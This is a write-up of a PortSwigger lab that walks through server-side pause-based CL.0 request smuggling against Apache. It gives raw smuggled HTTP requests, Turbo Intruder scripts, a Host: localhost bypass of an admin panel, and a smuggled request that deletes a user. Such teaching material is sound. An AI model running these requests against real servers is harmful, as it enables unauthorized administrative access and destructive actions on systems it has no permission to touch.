Server-side pause-based request smuggling | Feb 26, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Server-side pause-based request smuggling! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★★☆☆☆☆☆
Background
This lab is vulnerable to pause-based server-side request smuggling. The front-end server streams requests to the back-end, and the back-end server does not close the connection after a timeout on some endpoints.
To solve the lab, identify a pause-based CL.0 desync vector, smuggle a request to the back-end to the admin panel at /admin
, then delete the user carlos
.
Note:
Some server-side pause-based desync vulnerabilities can’t be exploited using Burp’s core tools. You must use the Turbo Intruder extension to solve this lab.
This lab is based on real-world vulnerabilities discovered by PortSwigger Research. For more details, check out Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling.
Exploitation
Home page:
Burp Suite HTTP history:
In here, we see the response’s Server
header’s value is Apache/2.4.52
.
In Apache version 2.4.52, it’s potentially vulnerable to pause-based CL.0 attacks on endpoints that trigger server-level redirects.
Pause-based desync
Seemingly secure websites may contain hidden desync vulnerabilities that only reveal themselves if you pause mid-request.
Servers are commonly configured with a read timeout. If they don’t receive any more data for a certain amount of time, they treat the request as complete and issue a response, regardless of how many bytes they were told to expect. Pause-based desync vulnerabilities can occur when a server times out a request but leaves the connection open for reuse. Given the right conditions, this behavior can provide an alternative vector for both server-side and client-side desync attacks.
Server-side pause-based desync
You can potentially use the pause-based technique to elicit CL.0-like behavior, allowing you to construct server-side request smuggling exploits for websites that may initially appear secure.
This is dependent on the following conditions:
- The front-end server must immediately forward each byte of the request to the back-end rather than waiting until it has received the full request.
- The front-end server must not (or can be encouraged not to) time out requests before the back-end server.
- The back-end server must leave the connection open for reuse following a read timeout.
To demonstrate how this technique works, let’s walk through an example. The following is a standard CL.0 request smuggling probe:
POST /example HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
GET /hopefully404 HTTP/1.1
Foo: x
Consider what happens if we send the headers to a vulnerable website, but pause before sending the body.
- The front-end forwards the headers to the back-end, then continues to wait for the remaining bytes promised by the
Content-Length
header. - After a while, the back-end times out and sends a response, even though it has only consumed part of the request. At this point, the front-end may or may not read in this response and forward it to us.
- We finally send the body, which contains a basic request smuggling prefix in this case.
- The front-end server treats this as a continuation of the initial request and forwards this to the back-end down the same connection.
- The back-end server has already responded to the initial request, so assumes that these bytes are the start of another request.
At this point, we have effectively achieved a CL.0 desync, poisoning the front-end/back-end connection with a request prefix.
We’ve found that servers are more likely to be vulnerable when they generate a response themselves rather than passing the request to the application.
Testing for pause-based CL.0 vulnerabilities
It’s possible to test for pause-based CL.0 vulnerabilities using Burp Repeater, but only if the front-end server forwards the back-end’s post-timeout response to you the moment it’s generated, which isn’t always the case.
To test it, we can use the Turbo Intruder extension as it lets you pause mid-request then resume regardless of whether you’ve received a response.
- In Burp Repeater, create a CL.0 request smuggling probe like we used in the example above, then send it to Turbo Intruder:
POST /example HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
GET /hopefully404 HTTP/1.1
Foo: x
- In Turbo Intruder’s Python editor panel, adjust the request engine configuration to set the following options:
concurrentConnections=1
requestsPerConnection=100
pipeline=False
-
Queue the request, adding the following arguments to the
queue()
interface: pauseMarker
- A list of strings after which you want Turbo Intruder to pause.pauseTime
- The duration of the pause in milliseconds.
For example, to pause after the headers for 60 seconds, queue the request as follows:
engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=60000)
- Queue an arbitrary follow-up request as normal:
followUp = 'GET / HTTP/1.1\r\nHost: vulnerable-website.com\r\n\r\n'
engine.queue(followUp)
- Ensure that you’re logging all responses to the results table:
def handleResponse(req, interesting):
table.add(req)
When you first start the attack, you won’t see any results in the table. However, after the specified pause duration, you should see two results. If the response to the second request matches what you expected from the smuggled prefix (in this case a 404), this strongly suggests that the desync was successful.
Now, we can go to Burp Suite Repeater, and try sending a request for a valid directory without including a trailing slash:
As you can see, it’s redirecting us to /resources/
.
To exploit pause-based CL.0, we first create a CL.0 attack request:
POST /resources HTTP/1.1
Host: 0ad4008d0447beb8c01f2c810045009b.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
GET /admin/ HTTP/1.1
Host: 0ad4008d0447beb8c01f2c810045009b.web-security-academy.net
Then, send that request to “Turbo Intruder”:
Note: I tried to write a Python script to do that, however I wasn’t able to send raw HTTP request. No idea why.
Then modify the Python script to the following code:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=500,
pipeline=False
)
engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=61000)
engine.queue(target.req)
def handleResponse(req, interesting):
table.add(req)
This issues the request twice, pausing for 61 seconds after the \r\n\r\n
sequence at the end of the headers.
Launch the attack:
Initially, you won’t see anything happening, but after 61 seconds, you should see two entries in the results table:
- The first entry is the
POST /resources
request, which triggered a redirect to/resources/
as normal:
- The second entry is a response to the
GET /admin/
request:
Although this just tells you that the admin panel is only accessible to local users, this confirms the pause-based CL.0 vulnerability.
To bypass the local restriction, we can try to add the Host
header with value localhost
:
Content-Length: 0
GET /admin/ HTTP/1.1
Host: localhost
Then relaunch the attack and wait for 61 seconds:
This time we successfully bypassed the admin panel restriction!!
Now, the admin panel has a HTML form:
<form style='margin-top: 1em' class='login-form' action='/admin/delete' method='POST'>
<input required type="hidden" name="csrf" value="OPub21PuuzgPKd01kmApu3QktxGyRcjg">
<label>Username</label>
<input required type='text' name='username'>
<button class='button' type='submit'>Delete user</button>
</form>
When the “Submit” button is clicked, it’ll send a POST request to /admin/delete
, with parameter csrf
and username
.
Armed with above information, we can delete user carlos
!
To do so, we need to modify the smuggled request:
Content-Length: 158
POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=unSEDsbIWW4wAWKgLuWtazQUKSvfi6dP&username=carlos
Also, we need to update pauseMarker
argument, so that it only matches the end of the first set of headers:
pauseMarker=['Content-Length: 53\r\n\r\n']
Then lanuch the attack again, and wait for 61 seconds:
We successfully deleted user carlos
!
What we’ve learned:
- Server-side pause-based request smuggling